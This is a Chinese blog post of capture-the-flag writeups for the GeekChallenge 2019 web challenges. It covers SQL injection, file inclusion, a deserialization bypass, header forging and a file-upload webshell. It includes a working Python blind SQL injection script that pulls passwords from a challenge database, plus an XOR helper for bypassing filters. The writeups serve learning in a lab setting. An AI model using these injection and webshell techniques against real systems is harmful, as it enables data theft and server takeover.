2019极客大挑战

[极客大挑战 2019]EasySQL

用1’ 测试发现存在字符型注入

 

 

 

首先尝试构造用万用密码登录

 

 

 

 得到flag

 

 

 

 

[极客大挑战 2019]LoveSQL

 居然和 [极客大挑战 2019]EasySQL 一样,用万用密码进去了

拿到 admin 和 password

 

 

 不过没用

重新,简单测试后发现是字符型注入

Order by 测字段

 

 

 (其他略)数据

[极客大挑战 2019]BabySQL

 先用万用,发现不行,常规注入也发现不行,后来看了网上得wp才知道有双写注入

在常规注入基础上对关键字符双写

(其他略)数据

 

 

 

 

[极客大挑战 2019]HardSQL

上面的方法都不行,但是可以报错注入

 

 

 

数值(字段拼接)

 

 

[极客大挑战 2019]FinalSQL

看提示是盲注的题目,但是不知道注入点,网上看了wp才知道id是注入点,而且 ^ 没被过滤

然后自己尝试了一下盲注,发现不会,于是看看网上的注入方法

发现还是搞不起来,脚本又不会写,于是看看网上的脚本

附上从网上看到的1篇脚本(感觉自己技术还是烂的一批)

import requests
import time

url = "http://f2240070-b31e-447d-91c5-3c2653b490a9.node3.buuoj.cn/search.php?"
temp = {"id" : ""}
column = ""
for i in range(1,1000):
    time.sleep(0.06)
    low = 32
    high =128
    mid = (low+high)//2
    while(low<high):
        temp["id"] = "1^(ascii(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url,params=temp)
        print(low,high,mid,":")
        if "Click" in r.text:
            low = mid+1
        else:
            high = mid
        mid =(low+high)//2
    if(mid ==32 or mid ==127):
        break
    column +=chr(mid)
    print(column)


print("flag=" ,column)

[极客大挑战 2019]Havefun

进界面没啥东西就看看源代码,找到

 

 

 构造,得到flag

 

 

 

[极客大挑战 2019]Secret File

看源码找到/Archive_room.php

点击响应太快,就换bp抓包

找到secr3t.php

发现文件包含漏洞,采用php://filter(这里 input 和 data 被过滤) 伪协议

 

Base64解密得flag

 

[极客大挑战 2019]PHP

看源码没东西,扫,得源码

 

 

 看着应该是反序列化

 

 

 看class.php

 

 

 

 如果 username=admin 并且 password=100 输出flag

构造exp

 

出错

 

 

 

 

 重来,__wakeup()需要绕过(当反序列化字符串,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。)

 

 

 

 把2改成3

同时截断username 和 password(防止数据丢失)

 

 

[极客大挑战 2019]Knife

 蚁剑连接得flag

 

[极客大挑战 2019]Http

看源码发现 Secret.php

 需要bp抓包

伪造网址(referer)

 

 

 伪造浏览器(UA)

伪造本地(X-Forwarded-For)得到 flag

 

 

 

 

[极客大挑战 2019]BuyFlag

查看源码发现

 

首先password传输要是数字字符串但要等于404

这样可以用 password = 404a  绕过(会把之后的a注释掉)

 

 

 Nember太长,从百度了解到老版本PHP不能输入8位字符,但strcmp可以用 [] 绕过

于是

[极客大挑战 2019]Upload

看页面是文件上传,发现直接传输上传不了,bp截断并修改Content-Type

 

 

 

 

 不能php就修改成phtml

 

加个GIF89a

还是不行,那就用<script>

成功上传蚁剑连接

 

 

[极客大挑战 2019]RCE ME

看源码

 

 

知道要绕过,从网上看到了这个脚本(能异或2个ASCII字符变为新字符)

def r_xor():
    for i in range(0,127):
        for j in range(0,127):
            result=i^j
            print("  "+chr(i)+" ASCII:"+str(i)+' <--xor--> '+chr(j)+" ASCII:"+str(j)+' == '+chr(result)+" ASCII:"+str(result))


if __name__ == "__main__":
    r_xor()

发现payload异或不了

我又换了种思路,看到类似的取反,先用网上的payload看看phpinfo

 

 

发现可以,于是想采用这种方法

(看到了许多禁用函数)

构造了一个一句话木马

 

 

 

蚁剑连接

要用到 绕过disable_functions插件

 

posted @ 2020-07-21 16:09  airtail  阅读(719)  评论(0编辑  收藏  举报